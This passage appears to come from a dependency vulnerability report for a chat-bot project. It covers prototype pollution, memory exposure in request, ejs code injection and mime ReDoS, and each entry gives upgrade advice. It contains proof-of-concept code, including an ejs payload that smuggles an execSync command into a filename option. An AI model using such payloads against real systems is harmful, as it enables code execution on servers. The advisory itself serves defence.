as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade xml2js
to version 0.5.0 or higher.
References
medium severity
- Vulnerable module: request
- Introduced through: request@2.14.0
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › request@2.14.0Remediation: Upgrade to request@2.68.0.
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Remote Memory Exposure.
A potential remote memory exposure vulnerability exists in request
. If a request
uses a multipart attachment and the body type option is number
with value X, then X bytes of uninitialized memory will be sent in the body of the request.
Note that while the impact of this vulnerability is high (memory exposure), exploiting it is likely difficult, as the attacker needs to somehow control the body type of the request. One potential exploit scenario is when a request is composed based on JSON input, including the body type, allowing a malicious JSON to trigger the memory leak.
Details
Constructing a Buffer
class with integer N
creates a Buffer
of length N
with non zero-ed out memory.
Example:
var x = new Buffer(100); // uninitialized Buffer of length 100
// vs
var x = new Buffer('100'); // initialized Buffer with value of '100'
Initializing a multipart body in such manner will cause uninitialized memory to be sent in the body of the request.
Proof of concept
var http = require('http')
var request = require('request')
http.createServer(function (req, res) {
var data = ''
req.setEncoding('utf8')
req.on('data', function (chunk) {
console.log('data')
data += chunk
})
req.on('end', function () {
// this will print uninitialized memory from the client
console.log('Client sent:\n', data)
})
res.end()
}).listen(8000)
request({
method: 'POST',
uri: 'http://localhost:8000',
multipart: [{ body: 1000 }]
},
function (err, res, body) {
if (err) return console.error('upload failed:', err)
console.log('sent')
})
Remediation
Upgrade request
to version 2.68.0 or higher.
References
medium severity
- Vulnerable module: istanbul-reports
- Introduced through: soupselect@0.2.0
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › tap@12.7.0 › nyc@14.1.1 › istanbul-reports@2.2.7
Overview
Affected versions of this package are vulnerable to Reverse Tabnabbing because of no rel
attribute in the link to https://istanbul.js.org/
.
Remediation
Upgrade istanbul-reports
to version 3.1.3 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: soupselect@0.2.0
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › soupselect@0.2.0 › nodeunit@0.11.3 › ejs@2.7.4
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the render
and renderFile
. If external input is flowing into the options
parameter, an attacker is able run arbitrary code. This include the filename
, compileDebug
, and client
option.
POC
let ejs = require('ejs')
ejs.render('./views/test.ejs',{
filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
compileDebug: true,
message: 'test',
client: true
})
Remediation
Upgrade ejs
to version 3.1.6 or higher.
References
low severity
- Vulnerable module: mime
- Introduced through: request@2.14.0
Detailed paths
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › request@2.14.0 › mime@1.2.11Remediation: Upgrade to request@2.37.0.
-
Introduced through: hosted-hubot@codeandsupply/chat-bot-supplybot#8dff4a86b3499e26d95d31199711a6920b8cb5d1 › request@2.14.0 › form-data@0.0.10 › mime@1.2.11Remediation: Upgrade to request@2.50.0.
Overview
mime is a comprehensive, compact MIME type module.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/
in its lookup, which can cause a slowdown of 2 seconds for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mime
to version 1.4.1, 2.0.3 or higher.